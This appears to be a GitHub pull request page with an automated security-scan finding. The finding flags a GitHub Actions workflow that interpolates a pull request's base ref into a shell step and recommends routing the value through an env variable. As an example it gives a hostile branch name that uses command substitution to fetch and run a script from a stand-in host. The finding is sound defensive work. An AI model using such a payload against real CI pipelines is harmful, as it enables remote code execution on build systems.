You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
scope: git-diff:origin/master · run 20260705122056-182893c182482632
🟡 MEDIUM · .github/workflows/deepsec.yml:L79
GitHub Actions expression injection: github.event.pull_request.base.ref interpolated into a run: shell block slug: other-ci-script-injection · confidence: low
Line 79 interpolates ${{ github.event.pull_request.base.ref }} directly into a run: shell command (--diff "origin/${{ github.event.pull_request.base.ref }}"). Any ${{ github.event.* }} value substituted into a run: block is a classic Actions script-injection sink: the value is spliced into the shell before execution, and the surrounding double quotes stop word-splitting/globbing but NOT command substitution $(...) or backticks. Git ref names are allowed to contain $, `, (, ), and ;, so a branch named e.g. $(curl${IFS}evil/x|sh) would execute during the step, wh…
Recommendation: Never interpolate ${{ github.event.* }} directly into run: scripts. Pass the value through an env: variable on the step and reference the shell variable quoted, e.g. add env: PR_BASE_REF: ${{ github.event.pull_request.base.ref }} and use --diff "origin/${PR_BASE_REF}"; the env indirection prevents the expression from being evaluated by the shell. Optionally validate the ref against `^[A…
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
No description provided.